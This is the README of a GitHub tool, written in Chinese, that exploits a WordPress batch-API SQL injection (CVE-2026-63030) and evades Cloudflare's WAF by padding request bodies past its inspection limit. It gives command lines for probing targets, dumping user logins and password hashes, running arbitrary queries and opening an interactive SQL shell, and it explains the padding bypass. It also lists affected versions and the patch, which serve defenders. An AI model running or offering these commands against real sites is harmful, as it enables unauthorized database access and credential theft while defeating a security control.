ASYquan/wp2shell-cf-WAF-bypass
GitHub: ASYquan/wp2shell-cf-WAF-bypass
针对 WordPress CVE-2026-63030 SQL 注入漏洞的 PoC 工具,通过请求体填充技术内置了绕过 Cloudflare WAF 的功能。
Stars: 0 | Forks: 0
# wp2shell-cf-bypass
这是一个针对 WordPress 批量路由混乱 SQL 注入(CVE-2026-63030)的独立 PoC,内置了绕过 Cloudflare WAF 的功能。
Cloudflare 的 WAF 仅检查请求体的前约 128KB 数据。该工具使用约 140KB 的垃圾 JSON 键来填充外部和内部的批量 payload,从而将真正的 SQL 语句推送到检查窗口之外。完整的 `UNION SELECT` payload 可以在未被检查的情况下直接通过。
## 受影响版本
| 版本范围 | 状态 |
| ------------- | ------ |
| <= 6.8.5 | 不受影响 |
| 6.9.0 - 6.9.4 | 受影响 |
| 7.0.0 - 7.0.1 | 受影响 |
## 环境要求
Python 3.8+,仅使用标准库。
## 使用方法
```
./wp2shell-cf-bypass.py [options]
```
WAF 绕过填充默认开启。传入 `--no-waf-bypass` 可将其禁用。
### 检查
发送一个标记探针以确认路由混乱漏洞。受漏洞影响的目标会返回 HTTP 207 以及三个标记代码:`parse_path_failed`、`block_cannot_read` 和 `rest_batch_not_allowed`。
```
./wp2shell-cf-bypass.py check target.example.com
```
### 读取
```
./wp2shell-cf-bypass.py read target.example.com # server fingerprint
./wp2shell-cf-bypass.py read target.example.com --preset users # logins and password hashes
./wp2shell-cf-bypass.py read target.example.com --query "SELECT @@version"
```
`--technique auto`(默认)会首先尝试 UNION(每个值发送一次请求),若失败则回退到盲注二分查找(每个字符约需 8 次请求)。
### shell
通过注入启动交互式 `SQL>` 提示符。查询结果需返回单一标量值。如果涉及多列,请使用 `CONCAT` 或 `GROUP_CONCAT`。
```
./wp2shell-cf-bypass.py shell target.example.com
```
```
SQL> SELECT @@version
11.4.10-MariaDB-1-log
SQL> SELECT GROUP_CONCAT(user_login SEPARATOR ', ') FROM wp_users
admin, editor, subscriber
```
## 选项
| 选项 | 应用模式 | 描述 |
| --- | --- | --- |
| `--proxy URL` | 所有 | HTTP 代理(例如 Burp) |
| `--timeout N` | 所有 | 请求超时时间(秒)(默认:30) |
| `--wp-path PATH` | 所有 | 如果 WP 不在根目录,需指定其子路径(例如 `wordpress`) |
| `--no-waf-bypass` | 所有 | 禁用请求体填充 |
| `--pad-size N` | 所有 | 填充大小(字节)(默认:143360) |
| `--preset` | read | `fingerprint`(默认)或 `users` |
| `--query` | read | 需提取的标量 SQL 表达式 |
| `--prefix` | read, shell | 表前缀(默认:`wp_`) |
| `--technique` | read, shell | `auto`(默认)、`union` 或 `blind` |
## WAF 绕过原理
Cloudflare 托管规则对请求体的检查会有一个可配置的限制,在大多数套餐中约为 128KB。批量 API 接受 JSON 格式,并且会忽略多余的键。一个填充了随机 ASCII 字符的 `"junk"` 键会被放置在两个批量层级中的 `"requests"` 键之前,这样 SQL payload 在序列化后的 JSON 中就会位于第 280KB 字节左右,远远超出了检查截止点。
如果不进行填充,`UNION SELECT ... FROM wp_users` 会收到 403 响应。进行填充后,相同的 payload 即可顺利通过,并且数据会通过带内方式返回。
## 修复方案
将 WordPress 更新至 7.0.2(或在 6.9 分支上更新至 6.9.5)。作为临时缓解措施,可以在边缘节点封锁 `/wp-json/batch/v1` 和 `?rest_route=/batch/v1`,或者将该 endpoint 的请求体大小限制在 128KB 以下。
## 法律声明
仅供授权的安全测试使用。请仅针对您拥有或已获得书面测试许可的系统使用此工具。
## 参考
- Searchlight Cyber wp2shell 公告: https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core
- Icex0/wp2shell-poc: https://github.com/Icex0/wp2shell-poc
- Assetnote nowafpls: https://github.com/assetnote/nowafpls
- WordPress 7.0.2 版本发布: https://wordpress.org/news/2026/07/wordpress-7-0-2-release/
标签:CISA项目, Homebrew安装, PNNL实验室, Python, WAF绕过, 安全攻防, 无后门